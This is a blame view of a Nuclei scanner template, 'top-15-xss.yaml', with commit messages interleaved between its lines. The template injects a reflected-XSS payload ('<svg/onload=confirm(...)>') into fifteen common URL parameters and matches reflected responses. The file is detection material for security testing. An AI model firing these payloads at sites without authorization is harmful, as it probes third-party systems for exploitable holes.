daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/generic-detections/top-15-xss.yaml

32 lines
1.8 KiB
YAML
Raw Normal View History

updating templates
2020-08-15 08:48:23 +00:00
# id contains the unique identifier for the template.
id: top-15-xss
info:
# Name is the name of the template
name: Top 15 XSS Check
# Author is the name of the author for the template
Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
2020-11-03 18:00:38 +00:00
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
author: foulenzer & geeknik
updating templates
2020-08-15 08:48:23 +00:00
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
description: Searches for reflected XSS in the server response via GET-requests.
requests:
- method: GET
path:
Update top-15-xss.yaml Makes sense to number the payloads to easily show which parameter is vulnerable.
2020-11-26 16:10:09 +00:00
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss1%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss2%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss3%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss4%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss5%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss6%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss7%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss8%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss9%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss10%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss11%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss12%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss13%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss14%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss15%27%29%3E"
Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
2020-11-03 18:00:38 +00:00
redirects: true
max-redirects: 1
Update top-15-xss.yaml spaces again.
2020-09-04 07:49:39 +00:00
matchers-condition: and
updating templates
2020-08-15 08:48:23 +00:00
matchers:
- type: word
words:
Update top-15-xss.yaml
2020-11-26 17:59:40 +00:00
- "<svg/onload=confirm('testing-xss"
Update top-15-xss.yaml
2020-09-04 07:46:30 +00:00
part: body
Update top-15-xss.yaml
2020-11-26 17:59:40 +00:00
Update top-15-xss.yaml
2020-09-04 07:46:30 +00:00
- type: word
words:
matcher update
2020-12-02 04:31:03 +00:00
- "text/html"
Update top-15-xss.yaml Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
2020-11-03 18:00:38 +00:00
part: header